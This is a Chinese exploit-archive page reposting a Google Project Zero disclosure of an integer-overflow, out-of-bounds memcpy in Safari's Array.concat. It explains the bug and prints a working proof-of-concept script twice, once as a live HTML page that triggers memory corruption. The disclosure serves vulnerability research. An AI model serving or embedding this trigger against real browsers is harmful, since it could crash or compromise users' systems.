首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Safari - Array concat Memory Corruption
来源:Google Security Research 作者:Google 发布时间:2017-04-26  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1095
 
There is an out-of-bounds memcpy in Array.concat that can lead to memory corruption.
 
In builtins/ArrayPrototype.js, the function concatSlowPath calls a native method @appendMemcpy with a parameter resultIndex that is handled unsafely by the method. It calls JSArray::appendMemcpy, which calculates the memory size for the combined arrays as follows:
 
unsigned newLength = startIndex + otherLength;
 
If startIndex (resultIndex from concatSlowPath in JS) is very large, an integer overflow can occur, causing too small a buffer to be allocated, and copying to occur outside of the buffer.
 
It should be difficult to reach this state without a long execution time, because an array of length resultIndex needs to be allocated and copied before resultIndex is incremented, however if both arrays involved in the concatenation are of type ArrayWithUndecided JSArray::appendMemcpy returns true without copying, and resultIndex can be incremented with a low execution time.
 
Arrays of type ArrayWithUndecided are usually of length 0, however, it is possible to create one by calling Array.splice on an array with all undefined elements. This will cause an undefined Array of the delete length to be allocated, and then returned without it being written to, which would cause it to decide its type.
 
A minimal PoC is as follows, and a full PoC is attached.
 
var a = [];
a.length = 0xffffff00;
 
var b = a.splice(0, 0x100000); // Undecided array
 
var args = [];
args.length = 4094;
args.fill(b);
 
var q = [];
q.length = 0x1000;
q.fill(7);
 
var c = a.splice(0, 0xfffef); //Shorter undecided array
 
args[4094] = c;
args[4095] = q;
 
 
b.concat.apply(b, args);
-->
 
<html>
<body>
<script>
 
var a = [];
a.length = 0xffffff00;
 
var b = a.splice(0, 0x100000); // Undecided array
 
var args = [];
args.length = 4094;
args.fill(b);
 
var q = [];
q.length = 0x1000;
q.fill(7);
 
var c = a.splice(0, 0xfffef); //Shorter undecided array
 
args[4094] = c;
args[4095] = q;
 
 
b.concat.apply(b, args);
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows 2003 SP2 - '
·Oracle VirtualBox Guest Additi
·OpenText Documentum Content Se
·Mercurial Custom hg-ssh Wrappe
·LightDM (Ubuntu 16.04/16.10) -
·TYPO3 News Module - SQL Inject
·Dell Customer Connect 1.3.28.0
·Simple File Uploader - Arbitra
·PrivateTunnel Client 2.8 - Loc
·Microsoft Internet Explorer 11
·Microsoft Office Word Maliciou
·Panda Free Antivirus - 'PSKMAD
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved